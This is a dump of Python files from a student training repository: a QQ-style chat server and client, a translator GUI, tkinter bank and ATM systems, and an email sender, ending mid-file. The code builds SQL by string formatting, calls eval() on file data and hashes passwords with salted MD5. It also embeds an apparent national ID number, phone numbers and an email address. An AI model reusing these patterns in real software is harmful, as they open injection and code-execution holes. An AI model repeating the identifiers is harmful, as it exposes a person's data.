"license_type": "permissive", "max_line_length": 92, "num_lines": 101, "path": "/py-basis/QQ简易版/server/manage_friend.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 好友处理模块\n@Time : 2018/8/19 下午9:34\n@Author : 北冥神君\n@File : manage_friend.py\n@Software: PyCharm\n\"\"\"\n\n\nfrom .memory import *\n\nfrom . import common_handler, chat_msg, memory\n\n\ndef add_friend_handler(c, msg):\n add_name = msg[1].decode()\n res = db.user_exist(add_name)\n if not res:\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.user_not_exist, b'no_user')\n c.send(serializeMessage)\n else:\n for i in online_user:\n if online_user[i][0] == res[0]:\n # online\n request_user = online_user[c][0].encode()\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.add_friend_request, request_user)\n i.send(serializeMessage)\n return\n # If user offline, save msg into database.\n db.save_msg(online_user[c][0], add_name, 1, 3, \"add friend\")\n\n\ndef confirm_handler(c, msg):\n result = msg[1].decode()\n respoonse_user = msg[2].decode()\n request_user = msg[3].decode()\n for i in online_user:\n if online_user[i][0] == request_user:\n request_socket = i\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.add_friend_result,\n result.encode(),\n respoonse_user.encode())\n i.send(serializeMessage)\n break\n if result == \"OK\":\n # Add to database.\n res = db.user_add_friend(request_user, respoonse_user)\n try:\n if res == \"NG\":\n raise ValueError(\"添加好友产生了一个未知错误,没有添加成功,\\\n 好友关系人>> {} 和 {}\".format(request_user, online_user[request_socket][0]))\n else:\n get_friend_handler(request_socket)\n get_friend_handler(c)\n except ValueError as e:\n print(e)\n\n\ndef del_friend_handler(c, msg):\n target_user = msg[1].decode()\n request_user = msg[2].decode()\n res = memory.db.user_del_friend(request_user, target_user)\n if res == \"OK\":\n get_friend_handler(c)\n for i in online_user:\n if online_user[i][0] == target_user:\n get_friend_handler(i)\n else:\n _msg = b\"delete failed\"\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.delete_friend_failed, _msg)\n c.send(serializeMessage)\n\n\ndef get_friend_handler(c):\n username = online_user[c][0]\n res_user = db.user_friend(username)\n if res_user == \"NF\":\n friend = \"no friend\"\n else:\n # Return friends list\n friend = \" + \".join(res_user)\n\n res_room = db.query_chatroom(username)\n if res_room == \"NF\":\n chatroom = 'no chatroom'\n else:\n chatroom = \" + \".join(res_room)\n\n total_friend = friend.encode()\n total_chatroom = chatroom.encode()\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.query_friend_list, total_friend, total_chatroom)\n c.send(serializeMessage)\n chat_msg.unread_msg_handler(c, username)\n" }, { "alpha_fraction": 0.5472826361656189, "alphanum_fraction": 0.5695652365684509, "avg_line_length": 24.56944465637207, "blob_id": "3ae2462ce0c1bc8388a5023fad5ffbba22c31509", "content_id": "ade3baacd80d83d2272e9af830b26493787a9ee8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2076, "license_type": "permissive", "max_line_length": 73, "num_lines": 72, "path": "/py-basis/有道翻译桌面版/有道翻译.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 填写本模块功能大致描述\n@Time : 2018/8/4 下午9:01\n@Author : 北冥神君\n@File : music_gui.py\n@Software: PyCharm\n\"\"\"\nfrom tkinter import *\nfrom fanyi import YoudaoTranslation\n\n# ----------------------主框架部分----------------------\n\nwindow = Tk()\nwindow.geometry(\"580x340+520+360\") # 设置窗口大小和弹出位置\nwindow.title('有道翻译-BJ-python-GP-1-by北冥')\nLabel_window = Label(window)\n\n\n# -----------------------定义规则------------------------\n\ndef translate(content):\n youdao = YoudaoTranslation()\n fanyi = youdao.get_fanyi(content)\n return fanyi\n\n# 还可以继续增加规则函数,只要是两输入的参数都可以\n# ----------------------触发函数-----------------------\n\ndef Answ(): # 规则函数\n\n Ans.insert(END, translate(var_first.get()))\n\n\ndef Clea(): # 清空函数\n input_num_first.delete(0, END) # 这里entry的delect用0\n Ans.delete(0, END) # text中的用0.0\n\n\n# ----------------------输入选择框架--------------------\nframe_input = Frame(window)\nLabel_input = Label(frame_input, text='原文', font=('Arial', 20))\nvar_first = StringVar()\ninput_num_first = Entry(frame_input, textvariable=var_first)\n\n# ---------------------计算结果框架---------------------\nframe_output = Frame(window)\nLabel_output = Label(frame_output, font=('Arial', 20))\nAns = Listbox(frame_output, height=15, width=40) # text也可以,Listbox好处在于换行\n\n# -----------------------Button-----------------------\n\ncalc = Button(frame_output, text='翻译', width=8,height=3,command=Answ)\ncle = Button(frame_output, text='清空',width=8,height=3, command=Clea)\n# -----------------------包裹显示-----------------------\nLabel_window.pack(side=TOP)\nframe_input.pack(side=TOP)\nLabel_input.pack(side=LEFT)\n\ninput_num_first.pack(side=LEFT)\n\nframe_output.pack(side=TOP)\nLabel_output.pack(side=LEFT)\ncalc.pack(side=LEFT)\ncle.pack(side=LEFT)\nAns.pack(side=LEFT)\n\n# -------------------window.mainloop()------------------\n\nwindow.mainloop()" }, { "alpha_fraction": 0.5090470314025879, "alphanum_fraction": 0.5245275497436523, "avg_line_length": 32.1533317565918, "blob_id": "136e0d6a4f70b3bd0a3a0480264adb3f57e524dc", "content_id": "5aa68d5fc449aa1eed98df20c4707c1139547b16", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5038, "license_type": "permissive", "max_line_length": 121, "num_lines": 150, "path": "/py-basis/QQ简易版/first_time_run_server_create_database.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 创建数据库,检测库是安装。\n@Time : 2018/8/19 下午9:51\n@Author : 北冥神君\n@File : first_time_run_server_create_database.py\n@Software: PyCharm\n\"\"\"\n\nimport pymysql\nfrom Crypto.Hash import MD5\nfrom server.setting import Stetting\n\n\ndef loop_encrypt(pwd, n=10):\n # Salt encrypt and recursion 10 times.\n salt = 'jeremyjone'\n md5_obj = MD5.new()\n md5_obj.update((pwd + salt).encode())\n # print(n, md5_obj.hexdigest())\n if n == 1:\n return md5_obj.hexdigest()\n return loop_encrypt(md5_obj.hexdigest(), n - 1)\n\n\nclass DB_Handler(object):\n def __init__(self):\n self.local = Stetting.MYSQL_HOST.value\n self.db_login_name = Stetting.MYSQL_USERNAME.value\n self.db_login_pswd = Stetting.MYSQL_PASSWORD.value\n self.userinfo = \"userinfo\"\n self.chatmsg = \"chatmsg\"\n self.userfriend = \"userfriend\"\n self.chatroom = \"chatroom\"\n self.chatroomuser = \"chatroom_user\"\n\n def connect_to_DB(self, sql_statment, db=None):\n '''\n Connect to database by base infomation and create database\n handler module, it can receive one SQL and execute.\n\n If operate successfully return OK, conversely return NG.\n '''\n self.db = db\n _ = None\n sql = pymysql.connect(self.local,\n self.db_login_name,\n self.db_login_pswd,\n charset='utf8')\n\n # Create cursor\n cursor = sql.cursor()\n\n if self.db is not None:\n cursor.execute(\"use %s\" % self.db)\n\n try:\n cursor.execute(sql_statment)\n sql.commit()\n _ = 'OK'\n except Exception as e:\n sql.rollback()\n print(e)\n _ = \"NG\"\n # close cursor\n cursor.close()\n # close database\n sql.close()\n return _\n\n def do_create(self):\n cdsql = 'create database chatroom;'\n\n ctsql1 = '''create table userinfo(\n id int primary key auto_increment,\n username varchar(50) unique not null,\n password varchar(254) not null,\n nickname varchar(50) not null,\n reg_time timestamp not null,\n isActive boolean not null)default charset=utf8;\n '''\n\n ctsql2 = '''create table chatmsg(\n id int primary key auto_increment,\n user_id int not null,\n send_time timestamp not null,\n target_id int not null,\n isRead boolean not null,\n msg_type tinyint not null,\n msg varchar(4096) not null,\n isActive boolean not null)default charset=utf8;\n '''\n\n ctsql3 = '''create table userfriend(\n id int primary key auto_increment,\n user_id int not null,\n friend_id int not null,\n add_time timestamp not null,\n isActive boolean not null)default charset=utf8;\n '''\n\n ctsql4 = '''create table chatroom(\n id int primary key auto_increment,\n chatroom_name varchar(30) unique not null,\n create_time timestamp not null,\n isActive boolean not null)default charset=utf8;\n '''\n\n ctsql5 = '''create table chatroom_user(\n id int primary key auto_increment,\n chatroom_id int not null,\n user_id int not null,\n create_time timestamp not null,\n isActive boolean not null)default charset=utf8;\n '''\n\n self.connect_to_DB(cdsql)\n self.connect_to_DB(ctsql1, db=\"chatroom\")\n self.connect_to_DB(ctsql2, db=\"chatroom\")\n self.connect_to_DB(ctsql3, db=\"chatroom\")\n self.connect_to_DB(ctsql4, db=\"chatroom\")\n self.connect_to_DB(ctsql5, db=\"chatroom\")\n\n def do_delete(self):\n deldatabase = 'drop database chatroom;'\n self.connect_to_DB(deldatabase)\n\n def do_insertdata(self):\n username = [\"admin\", \"xiaomi\", \"robbin\", \"pony\", \"jackma\"]\n password = [\n loop_encrypt(\"123\"),\n loop_encrypt(\"123\"),\n loop_encrypt(\"123\"),\n loop_encrypt(\"123\"),\n loop_encrypt(\"123\")]\n nickname = [\"马化腾\", \"雷军\", \"李彦宏\", \"马化腾\", \"马云\"]\n for i in range(5):\n userinfo = \"insert into userinfo (username, password, nickname, isActive) values ('%s', '%s', '%s', %d);\" % (\n username[i], password[i], nickname[i], 1)\n self.connect_to_DB(userinfo, db=\"chatroom\")\n\n\nif sys.argv[1] == \"1\":\n DB_Handler().do_create()\nelif sys.argv[1] == \"2\":\n DB_Handler().do_insertdata()\nelif sys.argv[1] == \"3\":\n DB_Handler().do_delete()\n\n" }, { "alpha_fraction": 0.5675675868988037, "alphanum_fraction": 0.5675675868988037, "avg_line_length": 28, "blob_id": "b4f56c20942c720177b21654c9a1f7949fbb6adb", "content_id": "656c3c7fffbf6d1aa28b5a8084d0e71bded66997", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 152, "license_type": "permissive", "max_line_length": 43, "num_lines": 5, "path": "/py-basis/各组银行系统带界面/第四组/person.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "class Person(object):\r\n def __init__(self,name,cardId,card):#用户\r\n self.name = name\r\n self.cardId = cardId\r\n self.card = card" }, { "alpha_fraction": 0.3953123390674591, "alphanum_fraction": 0.42996522784233093, "avg_line_length": 40.66507339477539, "blob_id": "cb51130c2f55bb9b193f7a1b293a6fff9ef3e439", "content_id": "d1d961d23c301a27765d30db0922f539dca51d9a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9005, "license_type": "permissive", "max_line_length": 111, "num_lines": 209, "path": "/py-basis/各组银行系统带界面/第二组/ATM/bank.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\r\n# -*- coding:utf-8 -*-\r\nimport pickle\r\n\"\"\"\r\n银行\r\n类名:Bank\r\n属性:用户列表 提款机\r\n\"\"\"\r\n\r\n\r\nclass Bank(object):\r\n bank_name = \"神马银行\"\r\n\r\n def __init__(self):\r\n pass\r\n\r\n @classmethod\r\n def register(cls, file_name, **kwargs):\r\n print(kwargs, type(kwargs))\r\n if file_name == \"card_data.txt\":\r\n fil = open(file_name, \"a\", encoding=\"utf-8\")\r\n if fil.tell() == 0:\r\n fil.write(\"%d %s %d %s\" % (kwargs[\"card_number\"], kwargs[\"card_id\"],\r\n kwargs[\"balance\"], kwargs[\"state\"]))\r\n else:\r\n fil.write(\"\\n%d %s %d %s\" % (kwargs[\"card_number\"], kwargs[\"card_id\"],\r\n kwargs[\"balance\"], kwargs[\"state\"]))\r\n fil.close()\r\n elif file_name == \"user_data.txt\":\r\n fil = open(file_name, \"a\", encoding=\"utf-8\")\r\n if fil.tell() == 0:\r\n fil.write(\"%s %s %s %d %d %s\" % (kwargs[\"record_file_id\"], kwargs[\"name\"],\r\n kwargs[\"id_number\"], kwargs[\"phone_number\"],\r\n kwargs[\"card_number\"], kwargs[\"address\"]))\r\n else:\r\n fil.write(\"\\n%s %s %s %d %d %s\" % (kwargs[\"record_file_id\"], kwargs[\"name\"],\r\n kwargs[\"id_number\"], kwargs[\"phone_number\"],\r\n kwargs[\"card_number\"], kwargs[\"address\"]))\r\n fil.close()\r\n else:\r\n print(\"?\")\r\n\r\n @staticmethod\r\n def update_data(data_name: str, data: dict):\r\n # data时一个人的数据字典 {\"id_number\": \"\", \"name\": \"\", \"record_file_id\": \"\", \"phone_number\": 0,\r\n # \"card_number\": [],\"address\": \"\", \"settings\": {\"bg_color\": \"\", \"font_color\": \"\"}\r\n # 数据库格式:{\"id_number\": {\"name\": \"\", \"record_file_id\": \"\", \"phone_number\": 0, \"card_number\": [],\r\n # \"address\": \"\", \"settings\": {\"bg_color\": \"\", \"font_color\": \"\"}}, \"id_number\": {}}\r\n if data_name == \"user\":\r\n with open(\"users_data.txt\", \"wb+\") as file:\r\n # old_data = pickle.load(file)\r\n old_data = {\"150203199701122419\": {}}\r\n id_number = data[\"id_number\"]\r\n if id_number in old_data.keys():\r\n old_data[id_number][\"name\"] = data[\"name\"]\r\n old_data[id_number][\"record_file_id\"] = data[\"record_file_id\"]\r\n old_data[id_number][\"phone_number\"] = data[\"phone_number\"]\r\n old_data[id_number][\"card_number\"] = data[\"card_number\"]\r\n old_data[id_number][\"address\"] = data[\"address\"]\r\n old_data[id_number][\"settings\"] = data[\"settings\"]\r\n pickle.dump(old_data, file)\r\n else:\r\n old_data[id_number] = dict\r\n old_data[id_number][\"name\"] = data[\"name\"]\r\n old_data[id_number][\"record_file_id\"] = data[\"record_file_id\"]\r\n old_data[id_number][\"phone_number\"] = data[\"phone_number\"]\r\n old_data[id_number][\"card_number\"] = data[\"card_number\"]\r\n old_data[id_number][\"address\"] = data[\"address\"]\r\n old_data[id_number][\"settings\"] = data[\"settings\"]\r\n pickle.dump(old_data, file)\r\n pass\r\n elif data_name == \"card\":\r\n with open(\"cards_data.txt\", \"wb+\") as file:\r\n pass\r\n pass\r\n elif data_name == \"atm\":\r\n with open(\"atms_data.txt\", \"wb+\") as file:\r\n pass\r\n pass\r\n pass\r\n\r\n @staticmethod\r\n def find_data(data_name: str, flag: str):\r\n if data_name == \"user\":\r\n with open(\"users_data.txt\", \"rb\") as file:\r\n users = pickle.load(file)\r\n if flag in users.keys():\r\n user = dict()\r\n user[\"id_number\"] = flag\r\n user[\"name\"] = users[flag][\"name\"]\r\n user[\"record_file_id\"] = users[flag][\"record_file_id\"]\r\n user[\"phone_number\"] = users[flag][\"phone_number\"]\r\n user[\"card_number\"] = users[flag][\"card_number\"]\r\n user[\"address\"] = users[flag][\"address\"]\r\n user[\"settings\"] = users[flag][\"settings\"]\r\n return user\r\n else:\r\n return None\r\n pass\r\n pass\r\n elif data_name == \"card\":\r\n pass\r\n elif data_name == \"atm\":\r\n pass\r\n\r\n @classmethod\r\n def update_card_data(cls, card_number, dict):\r\n f = open(\"card_data.txt\", \"r+\")\r\n lines = f.readlines()\r\n for index, line in enumerate(lines):\r\n i = line.split(\" \")\r\n if eval(i[0]) == card_number:\r\n i[0] = str(dict[\"card_number\"])\r\n i[1] = dict[\"card_id\"]\r\n i[2] = str(dict[\"balance\"])\r\n i[3] = dict[\"state\"]\r\n if index == (len(lines) - 1):\r\n lines[index] = \" \".join(i)\r\n else:\r\n lines[index] = \" \".join(i) + \"\\n\"\r\n f.seek(0)\r\n f.truncate()\r\n f.writelines(lines)\r\n f.close()\r\n pass\r\n\r\n @classmethod\r\n def get_empty_card_number(cls):\r\n tmp = 10000000\r\n while cls.find_card(tmp) is not None:\r\n tmp += 1\r\n return tmp\r\n pass\r\n\r\n @classmethod\r\n def find_card(cls, card_number):\r\n di = {}\r\n with open(\"card_data.txt\", \"r\", encoding=\"utf-8\") as fil:\r\n data = fil.read()\r\n data = data.split(\"\\n\")\r\n for index, item in enumerate(data):\r\n i = item.split(\" \")\r\n if i[0] == str(card_number):\r\n di[\"card_number\"] = eval(i[0])\r\n di[\"card_id\"] = i[1]\r\n di[\"balance\"] = eval(i[2])\r\n di[\"state\"] = i[3]\r\n return di, index\r\n @classmethod\r\n def find_user(cls, record_file_id: str=None, name: str=None, id_number: str=None,\r\n phone_number: int=None, card_number: int=None, address: str=None):\r\n di = {}\r\n with open(\"user_data.txt\", \"r\", encoding=\"utf-8\") as fil:\r\n data = fil.read()\r\n data = data.split(\"\\n\")\r\n for index, item in enumerate(data):\r\n i = item.split(\" \")\r\n if card_number is not None:\r\n if i[4] == str(card_number):\r\n di[\"record_file_id\"] = i[0]\r\n di[\"name\"] = i[1]\r\n di[\"id_number\"] = i[2]\r\n di[\"phone_number\"] = eval(i[3])\r\n di[\"card_number\"] = eval(i[4])\r\n di[\"address\"] = i[5]\r\n return di, index\r\n elif id_number is not None:\r\n if i[2] == id_number:\r\n di[\"record_file_id\"] = i[0]\r\n di[\"name\"] = i[1]\r\n di[\"id_number\"] = i[2]\r\n di[\"phone_number\"] = eval(i[3])\r\n di[\"card_number\"] = eval(i[4])\r\n di[\"address\"] = i[5]\r\n return di, index\r\n else:\r\n return None\r\n\r\n\r\n# 10000000 20595a895a68519c6516b19ff36021093a757192 100 normal\r\nif __name__ == '__main__':\r\n bank = Bank()\r\n # print(bank.read_file(\"card_data.txt\"))\r\n # bank.register(\"card_data.txt\", card_number=\"1000000\", card_id=\"aaaaaaaaaaa\", balance=100, state=\"normal\")\r\n # bank.register(\"user_data.txt\",\r\n # record_file_id=\"1234\",\r\n # name=\"吕兴东\",\r\n # id_number=\"150203199701122419\",\r\n # phone_number=12512581258,\r\n # card_number=10000000,\r\n # address=\"北京\")\r\n # print(bank.find_user(id_number=\"150203199701122419\"))\r\n # print(bank.find_user(card_number=10000000))\r\n # print(bank.find_card(10000000))\r\n # bank.update_card_data(10000001,\r\n # {\"card_number\": 10000001,\r\n # \"card_id\": \"0baf990eb39626173e6f5b20de7e1fe5958ec777\",\r\n # \"balance\": 10,\r\n # \"state\": \"normal\"})\r\n # print(bank.find_card(10000000))\r\n # user = {\"id_number\": \"150203199701122419\",\r\n # \"name\": \"吕兴东\",\r\n # \"record_file_id\": \"007\",\r\n # \"phone_number\": 18738981757,\r\n # \"card_number\": [10000000],\r\n # \"address\": \"北京\",\r\n # \"settings\": {\"bg_color\": \"#696969\", \"font_color\": \"#DEB887\"}}\r\n # bank.update_data(\"user\", user)\r\n print(bank.find_data(\"user\", \"150203199701122419\"))\r\n" }, { "alpha_fraction": 0.5525614619255066, "alphanum_fraction": 0.5661830306053162, "avg_line_length": 30.268518447875977, "blob_id": "e89e0b57ac8e0c48749e0c5c85c0108812569c39", "content_id": "a25949b08e2f855f26031d35e70111543ad32ac3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3594, "license_type": "permissive", "max_line_length": 85, "num_lines": 108, "path": "/py-basis/QQ简易版/client/login.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 登陆界面模块\n@Time : 2018/8/19 下午9:25\n@Author : 北冥神君\n@File : login.py\n@Software: PyCharm\n\"\"\"\n\nimport tkinter as tk\nfrom tkinter import messagebox\nfrom tkinter import *\n\nfrom . import memory, client_socket, contact_form, register, common_handler, security\n\n\nclass LoginForm(tk.Frame):\n\n def __init__(self, master=None):\n super().__init__(master)\n self.master = master\n memory.Login_window = self.master\n self.master.resizable(width=False, height=False) # 禁止修改登陆窗口大小\n self.master.geometry('300x160') # 窗口大小\n\n self.label_1 = Label(self, text=\"QQ账号\")\n self.label_2 = Label(self, text=\"QQ密码\")\n\n self.username = Entry(self)\n self.password = Entry(self, show=\"*\") # 隐藏密码\n\n self.label_1.grid(row=1, sticky=E)\n self.label_2.grid(column=0, row=2, sticky=E)\n\n self.username.grid(row=1, column=1, pady=(10, 6))\n self.password.grid(row=2, column=1, pady=(0, 6))\n\n self.buttonframe = Frame(self)\n self.buttonframe.grid(row=3, column=0, columnspan=2, pady=(4, 6))\n\n self.logbtn = Button(self.buttonframe,\n text=\"立即登录\",\n command=self.do_login)\n self.logbtn.grid(row=3, column=0)\n\n self.registerbtn = Button(self.buttonframe,\n text=\"注册账号\",\n command=self.do_register)\n self.registerbtn.grid(row=3, column=1)\n\n self.pack()\n self.master.title(\"QQ Py版-匠心之韵·清新聊人\")\n\n def do_login(self):\n username = self.username.get()\n password = self.password.get()\n password = security.loop_encrypt(password)\n if not username:\n messagebox.showerror(\"输入错误\", \"QQ账号不能为空\")\n return\n if not password:\n messagebox.showerror(\"输入错误\", \"QQ密码不能为空\")\n return\n\n res = client_socket.connect_to_server(str(memory.IP), int(memory.PORT))\n if res == \"connect_fail\":\n messagebox.showerror(\"登陆失败\", \"当前网络不可用,请检查您的网络设置。\")\n else:\n memory.sc = res\n\n # 2 packs\n # First one include length infomation,\n # The second one include complete values information.\n uname = username.encode()\n pwd = password.encode()\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.login, uname, pwd)\n client_socket.send_msg(serializeMessage)\n lg_res = client_socket.recv_msg(memory.sc)\n\n # Get result from server\n login_result = common_handler.unpack_message(lg_res)\n if login_result[0] == common_handler.MessageType.login_successful:\n memory.Login_window.destroy()\n memory.Login_window = None\n memory.username = username\n memory.current_user[username] = login_result[1].decode()\n contact_form.run(username)\n else:\n memory.sc.close()\n messagebox.showerror(\"通知\", \"登陆失败,请您输入正确的账号\")\n\n def do_register(self):\n self.master.withdraw()\n reg = tk.Toplevel()\n register.RegisterForm(reg)\n\n\ndef run():\n root = Tk()\n LoginForm(root)\n root.mainloop()\n\n\nif __name__ == '__main__':\n run()\n" }, { "alpha_fraction": 0.5455213189125061, "alphanum_fraction": 0.5668135285377502, "avg_line_length": 26.219999313354492, "blob_id": "a682270aab0253c7af52880393ab0546bdc2023f", "content_id": "7cc1c93b95d4a5904ad050fd99c4709eaf1a24a4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1548, "license_type": "permissive", "max_line_length": 94, "num_lines": 50, "path": "/py-basis/发邮件/网易邮箱.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 网易邮箱发送\n@Time : 2018/8/10 下午7:12\n@Author : 北冥神君\n@File : 网易邮箱.py\n@Software: PyCharm\n\"\"\"\nfrom email.mime.text import MIMEText\nimport smtplib\n\nclass Mail_163(object):\n def __init__(self, sender, password):\n '''\n 初始化配置信息\n :param sender: 发送者邮箱\n :param password: 邮箱授权密码\n '''\n self.SMTP_server = \"smtp.163.com\"\n self.sender = sender\n self.password = password\n\n def login(self):\n MIAL_server = smtplib.SMTP(self.SMTP_server, 25) # 链接smtp服务器\n MIAL_server.login(self.sender, self.password) # 登陆\n return MIAL_server\n\n def send(self, his_emiall,title, message_text):\n try:\n MIAL_server = self.login()\n msg = MIMEText(message_text) # 转为邮件文本\n msg[\"From\"] = self.sender # 邮件的发送者\n msg[\"Subject\"] = title # 邮件主题\n MIAL_server.sendmail(self.sender, his_emiall, msg.as_string()) # 发送邮件\n MIAL_server.quit()\n print('邮件发送成功')\n except smtplib.SMTPException:\n print('邮件发送失败')\n\nsender = \"binyoucaixiaobin@163.com\"\n#授权密码(不等同于登陆密码)\npassword = \"\"\ndef main():\n mail_163 = Mail_163(sender,password)\n mail_163.send(his_emiall = ['binyoucaixiaobin@qq.com'],title='欢迎你来到天丰利', message_text= 'hi! hello world!')\n\nif __name__ == '__main__':\n main()\n\n" }, { "alpha_fraction": 0.48359444737434387, "alphanum_fraction": 0.5143364071846008, "avg_line_length": 38.27381134033203, "blob_id": "454ef6f63d5a14062e997492030b3f1ef94467d6", "content_id": "1affcbcbd19af5743f8ca9b4939fab466e9497d5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3607, "license_type": "permissive", "max_line_length": 113, "num_lines": 84, "path": "/py-basis/各组银行系统带界面/第一组/tkinter银行系统/Views/view_win5.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\r\n\r\nimport tkinter as tk\r\nimport tkinter.messagebox # 这个是消息框\r\nfrom Control.atm import ATM\r\n\r\n'''\r\n开户、解锁通用页面\r\n'''\r\n\r\n\r\nclass Register(tk.Toplevel):\r\n\r\n def __init__(self, parent, db):\r\n super().__init__()\r\n self.db = db\r\n self.title(\"操作\")\r\n self.parent = parent # 显式地保留父窗口\r\n\r\n self.name = tk.Variable() # 用户姓名\r\n self.Idcard = tk.Variable() # 身份证号\r\n self.tel = tk.Variable() # 身份证号\r\n self.passwd = tk.Variable() # 密码/验证码\r\n\r\n self.photo = tkinter.PhotoImage(file=\"Views/Image/2.png\") # 图片路径\r\n self.photo1 = tk.PhotoImage(file=\"Views/Image/bg1.png\")\r\n\r\n self.setupUI() # 这一句写在最下面\r\n\r\n # 开户/解锁\r\n def func1(self):\r\n # 开户\r\n if self.parent.type == \"密码:\":\r\n res = ATM.add_user(1, self.db, self.name.get(), self.Idcard.get(), self.tel.get(), self.passwd.get())\r\n if str(res).isdigit():\r\n tkinter.messagebox.showinfo(title='提示', message=\"开户成功,卡号为:%s\" % str(res))\r\n self.destroy()\r\n else:\r\n tkinter.messagebox.showinfo(title='错误信息', message=res)\r\n # 解锁\r\n elif self.parent.type == \"卡号:\":\r\n res = ATM.re_clock(1, self.db, self.name.get(), self.Idcard.get(), self.tel.get(), self.passwd.get())\r\n tkinter.messagebox.showinfo(title='提示', message=res)\r\n self.destroy()\r\n\r\n # 程序主界面\r\n def setupUI(self):\r\n imgLabel = tkinter.Label(self,\r\n image=self.photo, width=300, height=370, compound=tkinter.CENTER,\r\n )\r\n imgLabel.place(x=0, y=0)\r\n\r\n name_label = tk.Label(self, text=\"姓名:\", fg=\"white\",\r\n image=self.photo1, width=60, height=20, compound=tkinter.CENTER\r\n )\r\n Idcard_label = tk.Label(self, text=\"身份证号:\", fg=\"white\",\r\n image=self.photo1, width=60, height=20, compound=tkinter.CENTER\r\n )\r\n tel_label = tk.Label(self, text=\"电话号码:\", fg=\"white\",\r\n image=self.photo1, width=60, height=20, compound=tkinter.CENTER\r\n )\r\n passwd_label = tk.Label(self, text=self.parent.type, fg=\"white\",\r\n image=self.photo1, width=60, height=20, compound=tkinter.CENTER\r\n )\r\n name_entry = tk.Entry(self, textvariable=self.name, width=20, bd=5)\r\n Idcard_entry = tk.Entry(self, textvariable=self.Idcard, width=20, bd=5)\r\n tel_entry = tk.Entry(self, textvariable=self.tel, width=20, bd=5)\r\n passwd_entry = tk.Entry(self, textvariable=self.passwd, width=20, show=\"*\", bd=5)\r\n\r\n button1 = tk.Button(self, text=\"确认提交\", command=self.func1,\r\n image=self.photo1, width=140, height=27, compound=tkinter.CENTER,\r\n font=(\"宋体\", 14),\r\n fg=\"white\", ) # 自身的颜色\r\n name_label.place(x=15, y=30)\r\n Idcard_label.place(x=15, y=90)\r\n tel_label.place(x=15, y=150)\r\n passwd_label.place(x=15, y=210)\r\n\r\n name_entry.place(x=100, y=30)\r\n Idcard_entry.place(x=100, y=90)\r\n tel_entry.place(x=100, y=150)\r\n passwd_entry.place(x=100, y=210)\r\n\r\n button1.place(x=100, y=280)\r\n" }, { "alpha_fraction": 0.6176470518112183, "alphanum_fraction": 0.6176470518112183, "avg_line_length": 19.66666603088379, "blob_id": "a0efcacd3a3e4f343dc6d0c4281b115e3848d44a", "content_id": "e7f7541dcd7bf69820b91733cb423cac8cc28766", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 136, "license_type": "permissive", "max_line_length": 35, "num_lines": 6, "path": "/py-basis/各组银行系统带界面/第六组/bank.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "from singleton import singletonDeco\r\n\r\n@singletonDeco\r\nclass Bank(object):\r\n def __init__(self):\r\n self.usersDict = {}\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.5713178515434265, "alphanum_fraction": 0.6149870753288269, "avg_line_length": 26.880596160888672, "blob_id": "c88909aacaffd1ebb5096e5ea632cf35535a0377", "content_id": "a4290109127157b2cb435bce9b77b60a83f8ca43", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4762, "license_type": "permissive", "max_line_length": 81, "num_lines": 134, "path": "/py-basis/各组银行系统带界面/第二组/ATM/exsamples/test3.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\r\n# -*- coding:utf-8 -*-\r\n\r\n\"\"\"\r\nprogram name :\r\nlast modification time :\r\nchangelog :\r\n\"\"\"\r\nimport tkinter # 导入tkinter包\r\nfrom tkinter import ttk\r\n\"\"\"\r\n框架控件\r\n在屏幕上显示一个矩形区域,多作为容器控件\r\n\"\"\"\r\nwin = tkinter.Tk() # 创建一个窗体\r\nwin.title(\"theodore\")\r\nwin.geometry(\"400x400+0+0\")\r\n\r\n# frm = tkinter.Frame(win)\r\n# frm.pack()\r\n#\r\n# # left\r\n# frm_l = tkinter.Frame(frm)\r\n# # tkinter.Label(frm_l, text=\"左上\", bg=\"blue\").pack(side=tkinter.TOP)\r\n# # tkinter.Label(frm_l, text=\"左下\", bg=\"pink\").pack(side=tkinter.TOP)\r\n# frm_l.pack(side=tkinter.LEFT)\r\n# # right\r\n# frm_r = tkinter.Frame(frm)\r\n# # tkinter.Label(frm_r, text=\"右上\", 